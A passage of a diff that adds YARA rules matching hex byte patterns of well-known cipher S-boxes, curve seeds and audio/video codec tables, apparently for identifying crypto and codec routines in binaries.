+	$a0 = { 3ff000000000000000000000000000003feffd315ffffffd3f9ace21600000753feff4c5dffffffc3faacbc76000001d3fefe6bf200000043fb415e53fffffed3fefd31f9ffffffe3fbac2609fffffe23fefb9ea9ffffffc3fc0b515200000093fef9b249ffffffe3fc4060b800000063fef76d3000000013fc7537e600000013fef4cfc400000023fca9cd9c000000b3fef1da7800000003fcde189c000000e3feee8dd3ffffffc3fd0907dc00000003feeaea6bffffffd3fd22d4ebffffffc3fee6f0e200000033fd3c6ef3fffffff3fee2a1e7ffffffe3fd55d17800000023feddfe3fffffffd3fd6ef801ffffff93fed906bbffffffd3fd87de2bffffffb3fed3bc39ffffffc3fda07f9200000063fece1fa800000013fdb8d7e7ffffffa3fec83201ffffffe3fdd0e2e3ffffff83fec1f45000000003fde89c5000000003febb67adffffffe3fe00000000000003feb48d3ffffffff3fe0b84edffffffe3fead663a00000003fe16daee00000023fea5f3de00000023fe22000000000003fe9e377a00000003fe2cf22ffffffff3fe96326800000023fe37af93fffffff3fe8de611ffffffc3fe423647ffffffc3fe8553ee00000003fe4c847600000023fe7c7d7a00000043fe56984a00000033fe736445fffffff3fe60700200000023fe6a09e5ffffffc3fe6a09e5ffffffc3fe60700200000023fe736445fffffff3fe56984800000013fe7c7d7bffffffd3fe4c847400000003fe8553ee00000003fe423647ffffffc3fe8de613ffffffe3fe37af91ffffffd3fe96326a00000043fe2cf22ffffffff3fe9e377a00000003fe22000000000003fea5f3de00000023fe16daec00000003fead663c00000023fe0b84ec00000053feb48d4200000013fdfffffe00000073febb67b000000003fde89c4e00000073fec1f45200000023fdd0e2e3ffffff83fec83201ffffffe3fdb8d7e1ffffffd3fece1faa00000033fda07f8fffffffb3fed3bc3bffffffe3fd87de2a00000023fed906bbffffffd3fd6ef7fbffffffc3feddfe41fffffff3fd55d173ffffffe3fee2a1e7ffffffe3fd3c6ef200000063fee6f0e200000033fd22d4ea00000033feeaea6bffffffd3fd0907ddffffff93feee8dd3ffffffc3fcde1892000000d3fef1da7800000003fca9cd95ffffffc3fef4cfc400000023fc7537e600000013fef76d3000000013fc4060a9fffffef3fef9b249ffffffe3fc0b514800000083fefb9ea9ffffffc3fbac25fe000000b3fefd31f9ffffffe3fb415e4fffffffb3fefe6bf200000043faacbc7e00000013feff4c5dffffffc3f9ace1c6000006c3feffd315ffffffdbe6777a5bd6ad3cd3ff0000000000000bf9ace22400000683feffd315ffffffdbfaacbcac00000153feff4c5dffffffcbfb415e67ffffff03fefe6bf20000004bfbac261600000003fefd31f9ffffffebfc0b515400000023fefb9ea9ffffffcbfc4060b3ffffff03fef9b249ffffffebfc7537f000000023fef76d300000001bfca9cda1ffffff63fef4cfc20000000bfcde189e00000073fef1da780000000bfd0907e400000083feee8dd3ffffffcbfd22d4f000000003feeaea6a0000004bfd3c6ef5ffffff83fee6f0e00000001bfd55d17800000023fee2a1e7ffffffebfd6ef801ffffff93feddfe41fffffffbfd87de2ffffffff3fed906bbffffffdbfda07f95ffffff83fed3bc39ffffffcbfdb8d7e7ffffffa3fece1fa80000001bfdd0e2ea00000073fec832000000005bfde89c4bffffffc3fec1f45200000023ff000000000000000000000000000003feff4c5dffffffc3faacbc76000001d3fefd31f9ffffffe3fbac2609fffffe23fef9b249ffffffe3fc4060b800000063fef4cfc400000023fca9cd9c000000b3feee8dd3ffffffc3fd0907dc00000003fee6f0e200000033fd3c6ef3fffffff3feddfe3fffffffd3fd6ef801ffffff93fed3bc39ffffffc3fda07f9200000063fec83201ffffffe3fdd0e2e3ffffff83febb67adffffffe3fe00000000000003fead663a00000003fe16daee00000023fe9e377a00000003fe2cf22ffffffff3fe8de611ffffffc3fe423647ffffffc3fe7c7d7a00000043fe56984a00000033fe6a09e5ffffffc3fe6a09e5ffffffc3fe56984800000013fe7c7d7bffffffd3fe423647ffffffc3fe8de613ffffffe3fe2cf22ffffffff3fe9e377a00000003fe16daec00000003fead663c00000023fdfffffe00000073febb67b000000003fdd0e2e3ffffff83fec83201ffffffe3fda07f8fffffffb3fed3bc3bffffffe3fd6ef7fbffffffc3feddfe41fffffff3fd3c6ef200000063fee6f0e200000033fd0907ddffffff93feee8dd3ffffffc3fca9cd95ffffffc3fef4cfc400000023fc4060a9fffffef3fef9b249ffffffe3fbac25fe000000b3fefd31f9ffffffe3faacbc7e00000013feff4c5dffffffcbe6777a5bd6ad3cd3ff0000000000000bfaacbcac00000153feff4c5dffffffcbfbac261600000003fefd31f9ffffffebfc4060b3ffffff03fef9b249ffffffebfca9cda1ffffff63fef4cfc20000000bfd0907e400000083feee8dd3ffffffcbfd3c6ef5ffffff83fee6f0e00000001bfd6ef801ffffff93feddfe41fffffffbfda07f95ffffff83fed3bc39ffffffcbfdd0e2ea00000073fec832000000005bfe00000200000023febb67adffffffebfe16daee00000023fead663a0000000bfe2cf22dffffffd3fe9e377a0000000bfe42364c00000003fe8de6100000003bfe56984bffffffc3fe7c7d7a0000004bfe6a09e5ffffffc3fe6a09e5ffffffcbfe7c7d7dfffffff3fe569843ffffffdbfe8de61600000003fe4236440000001bfe9e377c00000023fe2cf22dffffffdbfead663a00000003fe16daee0000002bfebb67adffffffe3fe0000020000002bfec8320400000003fdd0e2da0000009bfed3bc3bffffffe3fda07f8e0000002bfeddfe41fffffff3fd6ef8000000000bfee6f0e3ffffffc3fd3c6ee5ffffffabfeee8dd5ffffffe3fd0907d3ffffff8bfef4cfc400000023fca9cd900000011bfef9b249ffffffe3fc4060b3ffffff0bfefd31f9ffffffe3fbac2612000000ebfeff4c5fffffffe3faacbc260000014bff0000000000000be7777a5c1ebbfb5bfeff4c5dffffffcbfaacbc840000010bfefd31f7ffffffcbfbac2641ffffff6bfef9b247ffffffcbfc4060ca000000fbfef4cfc20000000bfca9cda80000006bfeee8dd3ffffffcbfd0907ddffffff9bfee6f0e20000003bfd3c6ef20000006bfeddfe3fffffffdbfd6ef80bffffffabfed3bc39ffffffcbfda07f980000003bfec83201ffffffebfdd0e2e60000003bfebb67aa0000003bfe000005ffffffdbfead6637ffffffebfe16daf1ffffffdbfe9e3777ffffffebfe2cf2340000003bfe8de611ffffffcbfe423649ffffffebfe7c7d7a0000004bfe56984a0000003bfe6a09e20000001bfe6a09ea0000000bfe569845fffffffbfe7c7d7bffffffdbfe4236460000003bfe8de613ffffffebfe2cf22a0000002bfe9e377e0000004bfe16daf00000004bfead663a00000003ff000000000000000000000000000003fefe6bf200000043fb415e53fffffed3fef9b249ffffffe3fc4060b800000063fef1da7800000003fcde189c000000e3fee6f0e200000033fd3c6ef3fffffff3fed906bbffffffd3fd87de2bffffffb3fec83201ffffffe3fdd0e2e3ffffff83feb48d3ffffffff3fe0b84edffffffe3fe9e377a00000003fe2cf22ffffffff3fe8553ee00000003fe4c847600000023fe6a09e5ffffffc3fe6a09e5ffffffc3fe4c847400000003fe8553ee00000003fe2cf22ffffffff3fe9e377a00000003fe0b84ec00000053feb48d4200000013fdd0e2e3ffffff83fec83201ffffffe3fd87de2a00000023fed906bbffffffd3fd3c6ef200000063fee6f0e200000033fcde1892000000d3fef1da7800000003fc4060a9fffffef3fef9b249ffffffe3fb415e4fffffffb3fefe6bf200000043ff000000000000000000000000000003fef9b249ffffffe3fc4060b800000063fee6f0e200000033fd3c6ef3fffffff3fec83201ffffffe3fdd0e2e3ffffff83fe9e377a00000003fe2cf22ffffffff3fe6a09e5ffffffc3fe6a09e5ffffffc3fe2cf22ffffffff3fe9e377a00000003fdd0e2e3ffffff83fec83201ffffffe3fd3c6ef200000063fee6f0e200000033fc4060a9fffffef3fef9b249ffffffebe6777a5bd6ad3cd3ff0000000000000bfc4060b3ffffff03fef9b249ffffffebfd3c6ef5ffffff83fee6f0e00000001bfdd0e2ea00000073fec832000000005bfe2cf22dffffffd3fe9e377a0000000bfe6a09e5ffffffc3fe6a09e5ffffffcbfe9e377c00000023fe2cf22dffffffdbfec8320400000003fdd0e2da0000009bfee6f0e3ffffffc3fd3c6ee5ffffffabfef9b249ffffffe3fc4060b3ffffff03ff000000000000000000000000000003fef1da7800000003fcde189c000000e3fec83201ffffffe3fdd0e2e3ffffff83fe8553ee00000003fe4c847600000023fe2cf22ffffffff3fe9e377a00000003fd87de2a00000023fed906bbffffffd3fc4060a9fffffef3fef9b249ffffffebfb415e67ffffff03fefe6bf20000004bfd3c6ef5ffffff83fee6f0e00000001bfe0b84f200000023feb48d3dffffffdbfe6a09e5ffffffc3fe6a09e5ffffffcbfeb48d4200000013fe0b84ec0000005bfee6f0e3ffffffc3fd3c6ee5ffffffabfefe6bf3ffffffd3fb415e43fffffddbfef9b247ffffffcbfc4060ca000000fbfed906bbffffffdbfd87de2a0000002bfe9e3777ffffffebfe2cf2340000003bfe4c846fffffffcbfe8553f20000004bfdd0e2d00000008bfec832060000002bfcde18a6000000fbfef1da7800000003ff000000000000000000000000000003fee6f0e200000033fd3c6ef3fffffff3fe9e377a00000003fe2cf22ffffffff3fe2cf22ffffffff3fe9e377a00000003fd3c6ef200000063fee6f0e200000033ff000000000000000000000000000003fe9e377a00000003fe2cf22ffffffff3fd3c6ef200000063fee6f0e20000003bfd3c6ef5ffffff83fee6f0e00000001bfe9e377c00000023fe2cf22dffffffd3ff000000000000000000000000000003fe2cf22ffffffff3fe9e377a0000000bfd3c6ef5ffffff83fee6f0e00000001bfee6f0e3ffffffc3fd3c6ee5ffffffabfe9e3777ffffffebfe2cf23400000033ff000000000000000000000000000003ff000000000000000000000000000003ff000000000000000000000000000003ff000000000000000000000000000003fd3c6efc0000007bfee6f0e00000001 }
+
+condition:
+	$a0
+}
+
+	
+rule SNOW_SBox_1__32_big_1024_
+{
+strings:
+	$a0 = { 80080200000802008008020204200112002801020408030280000102002800108420020004200302042803028008030204200110842002128408001280080210842000120028021084280010802000100400000004280112800002008008011200200200802000020420010204280310802801100028000280280012000001120028020200200000800003128028000000200110000800120420000084080010800000120420020200280112842000000020021000000300842803120400010200080110840003028420011084200300802003100408031284000110040001120420031200080010040801028420001004280312840002000400030080080000000002020008020204000210000802100008000200000200842802020000000284080300800000000400001204000100802803100000021200080212040801008428000080200000040003128020020084000012800803008028031284280110002803020428010080080110042800120420021084000300800800120028020004080012800001128400031000000010002002020028000004080310842803108000000284200312040801100028021200080100040801128028020004080202840802028408011084200310000003100020000284200102800801000008031004200212800002128408031084000210042000108020020284000100040802108000011080080002002801000428000084280100840801028028001004200002042002008420000200200212842002108428030080200012840802100420030084080002040802000428011004080212000001028028030000280310800000100028001204280002802003020408000000080312800003028000030000000000000003028008001004000212840803128420010080000202000801128408000000000100842800120020010284000010800803100428021280080212840003128028010000200310802800028408011204080010002803008000021080280202840002020420031004200012002000120400001084280002802001000408000280280112842003020400030204280210040002008400010204080300000803028028021200280110842802000000001284280212040000028400011280200210840802120000011084080200800803128020011280200212002000100008010204280200002001120000021084080100802001028400021284000000800003108400000204000310802001100008030004280102842002028028030280280102842001120400020280200312002003120428020200200100000003128408030204200100842801128020030084280302842802100428030084280102000800008008010204280010802802108000010000280312002003020400011000200300 }
+
+condition:
+	$a0
+}
+
+	
+rule Binary_arithmetic_decoder__LPSTable___T264_cabac_range_lps__32_big_1024_
+{
+strings:
+	$a0 = { 00000080000000b0000000d0000000f000000080000000a7000000c5000000e3000000800000009e000000bb000000d80000007b00000096000000b2000000cd000000740000008e000000a9000000c30000006f00000087000000a0000000b9000000690000008000000098000000af000000640000007a00000090000000a60000005f00000074000000890000009e0000005a0000006e000000820000009600000055000000680000007b0000008e000000510000006300000075000000870000004d0000005e0000006f000000800000004900000059000000690000007a0000004500000055000000640000007400000042000000500000005f0000006e0000003e0000004c0000005a000000680000003b0000004800000056000000630000003800000045000000510000005e00000035000000410000004d00000059000000330000003e0000004900000055000000300000003b00000045000000500000002e00000038000000420000004c0000002b000000350000003f0000004800000029000000320000003b0000004500000027000000300000003800000041000000250000002d000000360000003e000000230000002b000000330000003b0000002100000029000000300000003800000020000000270000002e000000350000001e000000250000002b000000320000001d0000002300000029000000300000001b00000021000000270000002d0000001a0000001f000000250000002b000000180000001e0000002300000029000000170000001c0000002100000027000000160000001b0000002000000025000000150000001a0000001e0000002300000014000000180000001d0000002100000013000000170000001b0000001f00000012000000160000001a0000001e0000001100000015000000190000001c0000001000000014000000170000001b0000000f0000001300000016000000190000000e0000001200000015000000180000000e0000001100000014000000170000000d0000001000000013000000160000000c0000000f00000012000000150000000c0000000e00000011000000140000000b0000000e00000010000000130000000b0000000d0000000f000000120000000a0000000c0000000f000000110000000a0000000c0000000e00000010000000090000000b0000000d0000000f000000090000000b0000000c0000000e000000080000000a0000000c0000000e00000008000000090000000b0000000d00000007000000090000000b0000000c00000007000000090000000a0000000c00000007000000080000000a0000000b0000000600000008000000090000000b0000000600000007000000090000000a0000000600000007000000080000000900000002000000020000000200000002 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_vp5_ract_pct__8_byt_396_
+{
+strings:
+	$a0 = { e3f6e6f7f4fefefefefefecafed1e7e7f9f9fdfefefecefee1f2f1fbfdfefefefeebfef1fdfcfefefefefefeeafef8fefefefefefefefefefefefefefefefefefefef0fef8fefefefefefefefeeefef0fdfefefefefefefef4fefbfefefefefefefefefefefefefefefefefefefefefefefefefefefefefefefefefefefefefefefefefececbe3eff7fefdfefefefecfc7dcecf3fcfcfefefefed4dbe6f3f4fdfcfefefefeecedf7fcfdfefefefefefef0f0f8fefefefefefefefefefefefefefefefefefefee6e9f9fefefefefefefefeeeeefafefefefefefefefef8fbfefefefefefefefefefefefefefefefefefefefefefefefefefefefefefefefefefefefefefefefefefee1efe3e7f4fdf3fefefdfee8eae0e4f2f9f2fcfbfbfeebf9eef0fbfef9fefdfdfef9fdfbfafefefefefefefefbfaf9fefefefefefefefefefefefefefefefefefefef3f4fafafefefefefefefef9f8fafdfefefefefefefefdfefefefefefefefefefefefefefefefefefefefefefefefefefefefefefefefefefefefefefefefefefefe }
+
+condition:
+	$a0
+}
+
+	
+rule FFT_and_FHT_routines_rv_tbl__16_big_256_
+{
+strings:
+	$a0 = { 00000080004000c0002000a0006000e000100090005000d0003000b0007000f000080088004800c8002800a8006800e800180098005800d8003800b8007800f800040084004400c4002400a4006400e400140094005400d4003400b4007400f4000c008c004c00cc002c00ac006c00ec001c009c005c00dc003c00bc007c00fc00020082004200c2002200a2006200e200120092005200d2003200b2007200f2000a008a004a00ca002a00aa006a00ea001a009a005a00da003a00ba007a00fa00060086004600c6002600a6006600e600160096005600d6003600b6007600f6000e008e004e00ce002e00ae006e00ee001e009e005e00de003e00be007e00fe }
+
+condition:
+	$a0
+}
+
+	
+rule ADPCM_index_table__step_variation___32_big_64_
+{
+strings:
+	$a0 = { FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000002000000040000000600000008FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000002000000040000000600000008 }
+
+condition:
+	$a0
+}
+
+	
+rule Gost_hash_sbox_1__32_big_1024_
+{
+strings:
+	$a0 = { 000720000007500000074800000710000007680000074000000700000007700000073000000758000007080000076000000738000007780000072800000718000005a0000005d0000005c800000590000005e8000005c000000580000005f0000005b0000005d800000588000005e0000005b8000005f8000005a800000598000002200000025000000248000002100000026800000240000002000000027000000230000002580000020800000260000002380000027800000228000002180000062000000650000006480000061000000668000006400000060000000670000006300000065800000608000006600000063800000678000006280000061800000320000003500000034800000310000003680000034000000300000003700000033000000358000003080000036000000338000003780000032800000318000006a0000006d0000006c800000690000006e8000006c000000680000006f0000006b0000006d800000688000006e0000006b8000006f8000006a800000698000007a0000007d0000007c800000790000007e8000007c000000780000007f0000007b0000007d800000788000007e0000007b8000007f8000007a8000007980000052000000550000005480000051000000568000005400000050000000570000005300000055800000508000005600000053800000578000005280000051800000120000001500000014800000110000001680000014000000100000001700000013000000158000001080000016000000138000001780000012800000118000001a0000001d0000001c800000190000001e8000001c000000180000001f0000001b0000001d800000188000001e0000001b8000001f8000001a80000019800000420000004500000044800000410000004680000044000000400000004700000043000000458000004080000046000000438000004780000042800000418000000a0000000d0000000c800000090000000e8000000c000000080000000f0000000b0000000d800000088000000e0000000b8000000f8000000a80000009800000020000000500000004800000010000000680000004000000000000000700000003000000058000000080000006000000038000000780000002800000018000003a0000003d0000003c800000390000003e8000003c000000380000003f0000003b0000003d800000388000003e0000003b8000003f8000003a800000398000002a0000002d0000002c800000290000002e8000002c000000280000002f0000002b0000002d800000288000002e0000002b8000002f8000002a800000298000004a0000004d0000004c800000490000004e8000004c000000480000004f0000004b0000004d800000488000004e0000004b8000004f8000004a80000049800 }
+
+condition:
+	$a0
+}
+
+	
+rule Crypton__32_lil_AND_
+{
+strings:
+	$a0 = { fcf3cf3f[0-20]f3cf3ffc[0-20]cf3ffcf3[0-20]3ffcf3cf[0-20]fccffccf[0-20]3ff33ff3[0-20]cffccffc[0-20]f33ff33f[0-20]01010101 }
+
+condition:
+	$a0
+}
+
+	
+rule RawDES_sbox2__32_big_256_
+{
+strings:
+	$a0 = { 80108020800080000000800000108020001000000000002080100020800080208000002080108020801080008000000080008000001000000000002080100020001080000010002080008020000000008000000000008000001080208010000000100020800000200000000000108000000080208010800080100000000080200000000000108020801000200010000080008020801000008010800000008000801000008000800000000020801080200010802000000020000080008000000000008020801080000010000080000020001000208000802080000020001000200010800000000000800080000000802080000000801000208010802000108000 }
+
+condition:
+	$a0
+}
+
+	
+rule Lucifer__smith__s0__32_big_64_
+{
+strings:
+	$a0 = { 0000000c0000000f000000070000000a0000000e0000000d0000000b000000000000000200000006000000030000000100000009000000040000000500000008 }
+
+condition:
+	$a0
+}
+
+	
+rule libaf_center_front___5_degrees___flt32___32_lil_512_
+{
+strings:
+	$a0 = { 5a27b5b8a2aba739c75903ba12bf953aa1a5cfbad36be43afc3c91baf9342d399a8aab3bc7d7663bf9c8243c3e1709bdfd665b3cbe339f3ba95da73d98ee853e385efebd8d6a12be23ae133e528127be952bb3bcc282783e0c11943dde12c13df2dd983e83bd963e0443f8bd531d49be610eee3dc8526dbdebaeafbe5b8d47be23ca253ccbbec1bd52a32bbe2622883bee23583d3347dbb9cd3bb13cd2e29a3d8d2db63de341233dcf47353dce237c3df8b97e3c1ddbc3bca19d1b3c7b501c3d2ae620bc5c0c2cbdb39e08bd0bfbefbc518255bd2f6196bd34a37abde9453dbda1382cbdd207bfbcb1980a3b20af0b3caaa20f3c7dfe0d3c44be953cb48fef3c1fa0b63c998a4a3c04740c3c91b5d43bafd8fdbad70ccfbbf99cd3bb649576bcc1e7acbce77d8bbc144187bc4988babc6fd4a3bc187049bce7833cbc77943bbc0f0f9ebbc122133bc1d6873bba73b83bceb40c3c1f59253c1857eb3bc260bf3a4f197bbb16b361bbf83841bbea57f9bb0b98d5bb895193bb90f3e8bba8be08bcc537b6bbcf2d44bbfbdda7bb2ad88fbbb9088fba4c2f01bb7d5ac0bba65bb8bb03e58eb969ceb43a4b2a1bbaa5134ebacccc38ba5e6f56bb9b2a92bb2dd651bb6f6748bb4c896bbbc04079bb292f97bbfbf0c3bbbdaa89bbaa31a2ba69ba603aded70c3ba8f6f73923807dba7e87b1ba422d42bbc8f5aebb0037b3bbf8ba8ebb }
+
+condition:
+	$a0
+}
+
+	
+rule EC_curve__EC_X9_62_PRIME_192V3_SEED__8_byt_20_
+{
+strings:
+	$a0 = { c469684435deb378c4b65ca9591e2a5763059a2e }
+
+condition:
+	$a0
+}
+
+	
+rule Zodiac_sbox2__8_byt_72_
+{
+strings:
+	$a0 = { 124a26c8d262cee72ec3fb7c65488fb8763da58e8657bdbc1fef0ce07871117595d99b9eb9a4f7027f80837ebe5696739f882a14899af9dc326dde6a8472d88ad7e3084e1eb35d50 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_real_audio_288_syn_bw_tab__flt64___64_lil_288_
+{
+strings:
+	$a0 = { 0000000000a0ef3f960af2ff1f41ef3f12d902a05ce3ee3f63b4d57fb286ee3f2caccd5f1e2bee3fb05fc4ff9cd0ed3f91de1c202b77ed3fa73dd49fc51eed3ff4fcd63f69c7ec3f02f8e1ff1271ec3f682405c0bf1bec3fb15dfd7f6cc7eb3fc5ef10401674eb3f30b6fcffb921eb3f2e533de054d0ea3feb3106e0e37fea3ff64a0a406430ea3f2fd03c20d3e1e93f128307a02d94e93f2542ca1f7147e93fa5af01c09afbe83f57c9fadfa7b0e83fbf6d15e09566e83f030b2820621de83f480f09000ad5e73f125918e08a8de73f7a3cd93fe246e73f58eee19f0d01e73f24333f800abce63f98eeea5fd677e63f3e1c3be06e34e63fc485d69fd1f1e53f61d0dc1ffcafe53fd5fc3d20ec6ee53f202bd75f9f2ee53fcc56fe7f13efe43f }
+
+condition:
+	$a0
+}
+
+	
+rule mp3lib_huffman_tab15__16_big_1022_
+{
+strings:
+	$a0 = { FE11FE43FE9DFEF9FF49FF8DFFB3FFD5FFE5FFF3FFF9FFFDFFFF00FF00EFFFFF00FE00DFFFFF00EEFFFF00FD00CFFFF9FFFDFFFF00FC00DEFFFF00ED00BFFFFF00FBFFFF00CE00ECFFF9FFFDFFFF00DD00AFFFFF00FA00BEFFFDFFFF00EB00CDFFFF00DC009FFFF1FFF9FFFDFFFF00F900EAFFFF00BD00DBFFFDFFFF008F00F8FFFF00CC009EFFF9FFFDFFFF00E9007FFFFF00F700ADFFFDFFFF00DA00BCFFFF006FFFFF00AE000FFFEDFFF5FFFDFFFF00CB00F6FFFDFFFF008E00E8FFFF005F009DFFFDFFFF00F5007EFFFF00E700ACFFF7FFFDFFFF00CA00BBFFFDFFFF00D9008D004FFFFDFFFF00F4003FFFFF00F300D8FFDFFFEFFFF7FFFDFFFF00E6002FFFFF00F2FFFF006E00F0FFFDFFFF001F00F1FFFF009C00C9FFF9FFFDFFFF005E00ABFFFF00BA00E5FFFDFFFF007D00D7FFFF004E00E4FFF1FFF9FFFDFFFF008C00C8FFFF003E006DFFFDFFFF00D600E3FFFF009B00B9FFF9FFFDFFFF002E00AAFFFF00E2001EFFFBFFFF00E1FFFF000E00E0FFFF005D00D5FFD3FFE7FFF3FFF9FFFDFFFF007C00C7FFFF004D008BFFFF00D4FFFF00B8009AFFF9FFFDFFFF00A9006CFFFF00C6003DFFFF00D300D2FFF7FFFBFFFDFFFF002D000D001DFFFF007B00B7FFFBFFFF00D1FFFF005C00D0FFFF00C5008AFFEFFFF9FFFDFFFF00A8004CFFFF00C4006BFFFBFFFF00B6FFFF0099000CFFFF003C00C3FFF7FFFDFFFF007A00A7FFFF00A6FFFF00C0000BFFFF00C2FFFF002C005BFFC9FFE3FFF1FFF9FFFDFFFF00B5001CFFFF00890098FFFDFFFF00C1004BFFFF00B4006AFFFBFFFDFFFF003B007900B3FFFDFFFF00970088FFFF002B005AFFF5FFFBFFFF00B2FFFF00A5001BFFFF00B1FFFF00B00069FFF9FFFDFFFF0096004AFFFF00A40078FFFDFFFF0087003A00A3FFEFFFF9FFFDFFFF00590095FFFF002A00A2FFFDFFFF001A00A1FFFDFFFF000A00A00068FFF9FFFDFFFF00860049FFFF00940039FFFBFFFF0093FFFF00770009FFFF00580085FFCBFFE3FFF3FFF9FFFDFFFF00290067FFFF00760092FFFF0091FFFF00190090FFF9FFFDFFFF00480084FFFF00570075FFFDFFFF00380083FFFF00660047FFF9FFFDFFFF00280082FFFF00180081FFF9FFFDFFFF00740008FFFF00800056FFFDFFFF00650037FFFF00730046FFEFFFF9FFFDFFFF00270072FFFF00640017FFFDFFFF00550071FFFDFFFF000700700036FFF9FFFDFFFF00630045FFFF00540026FFFDFFFF00620016FFFDFFFF000600600035FFDFFFEDFFF7FFFBFFFF0061FFFF00530044FFFF00250052FFFDFFFF00150051FFFDFFFF000500500034FFF9FFFDFFFF00430024FFFF00420033FFFF0041FFFF00140004FFF7FFFDFFFF00230032FFFDFFFF004000030013FFFDFFFF003100300022FFF7FFF9FFFDFFFF00120021FFFF000200200011FFFDFFFF000100100000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_DV_dv_vlc_len__8_byt_409_
+{
+strings:
+	$a0 = { 02030404040505050506060606070707070707070708080808080808080808080808080808090909090909090909090909090909090a0a0a0a0a0a0a0b0b0b0b0b0b0b0b0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f04 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_pow2_tab__flt32___32_big_260_
+{
+strings:
+	$a0 = { 3f8000003f8164d23f82cd873f843a293f85aac33f871f623f88980f3f8a14d53f8b95c23f8d1adf3f8ea43a3f9031dc3f91c3d33f935a2b3f94f4f03f96942d3f9837f03f99e0463f9b8d3a3f9d3eda3f9ef5323fa0b0513fa270433fa435163fa5fed73fa7cd943fa9a15b3fab7a3a3fad583f3faf3b793fb123f63fb311c43fb504f33fb6fd923fb8fbaf3fbaff5b3fbd08a43fbf179a3fc12c4d3fc346cd3fc5672a3fc78d753fc9b9be3fcbec153fce248c3fd063343fd2a81e3fd4f35b3fd744fd3fd99d163fdbfbb83fde60f53fe0ccdf3fe33f893fe5b9073fe8396a3feac0c73fed4f303fefe4ba3ff281773ff5257d3ff7d0df3ffa83b33ffd3e0c40000000 }
+
+condition:
+	$a0
+}
+
+	
+rule CAST128___CAST256_sbox3__32_big_1024_
+{
+strings:
+	$a0 = { 8defc24025fa5d9feb903dbfe810c90747607fff369fe44b8c1fc644aececa90beb1f9bfeefbcaeae8cf195051df07ae920e8806f0ad0548e13c8d83927010d511107d9f07647db9b2e3e4d43d4f285eb9afa820fade82e0a067268b8272792e553fb2c0489ae22bd4ef9794125e3fbc21fffcee825b1bfd9255c5ed1257a2404e1a8302bae07fff528246e78e57140e3373f7bf8c9f8188a6fc4ee8c982b5a5a8c01db7579fc26467094f31f2bd3f5f40fff7c11fb78dfc8e6bd2c1437be59b99b03dbfb5dbc64b638dc0e655819d99a197c81c4a012d6ec5884a28ccc36f71b843c2136c0743f18309893c0feddd5f2f7fe850d7c07f7e02507fbf5afb9a04a747d2d01651192eaf70bf3e58c313805f98302e727cc3c40a0fb4020f7fef828c96fdad5d2c2aae8ee99a4950da88b88427f4a01eac5790796fb4498252dc15efbd7d9ba672597dada840d845f54504fa5d7403e83ec3054f91751a925669c223efe941a903f12e60270df20276e4b694fd6574927985b28276dbcb02778176f8af918d4e48f79e8f616ddfe29d840e842f7d83340ce5c896bbb68293b4b148ef303cab984faf28779faf9b92dc560d224d1e208437aa887d29dc962756d3dc8b907ceeb51fd240e7c07ce3e566b4a1c3e9615e3cf8209d6094d1e3cd9ca3415c76460e00ea983bd4d67881fd47572cf76cedd9bda8229c127dadaa438a074e1f97c090081bdb8a93a07ebeb938ca1597b03cff3dc2c0f88d1ab2ec64380e5168cc7bfbd90f2788124901815de5ffd4dd7ef86a76a2e214b9a40368925d958f4b39fffaba39aee9a4ffd30bfaf7933b6d498623193cbcfa27627545825cf47a61bd8ba0d11e42d1cead04f4127ea39210428db78272a9729270c4a8127de50b285ba1c83c62f44f35c0eaa5e805d231428929fbb4fcdf824fb66a530e7dc15b1f081fab108618aefcfd086df9ff2889694bcc11236a5cae12deca4d2c3f8cc5d2d02dfef8ef5896e4cf52da95155b67494a488cb9b6a80c5c8f82bc89d36b453a609437ec00c9a9447152530a874b49d773bc407c34671c02717ef64feb5536a2d02fffd2bf60c4d43f03c050b4ef6d07478cd1006e1888a2e53f55b9e6d4bca204801697573833d7207d67de0f8f3d72f87b33abcc4f337688c55d7b00a6b0947b0001570075d2f9bb88f88942019e4264a5ff856302e072dbd92bee971b696ea22fde5f08ae2baf7a616de5c98767cf1febd261efc8c2f1ac2571cc8239c267214cb8b1e583d1b7dc3e627f10bdcef90a5c380ff0443d606e6dc660543a495727c1482be98a1d8ab4173820e1be24af96da0f6845842599833be5600d457d282f93508334b362d91d11202b6d8da0642b1e319c305a0052bce6881b03588af7baefd54142ed9ca4315c1183323ec5dfef4636a133c501e9d3531cee353783 }
+
+condition:
+	$a0
+}
+
+	
+rule small_prime_numbers_used_in_libgcrypt__16_big_1336_
+{
+strings:
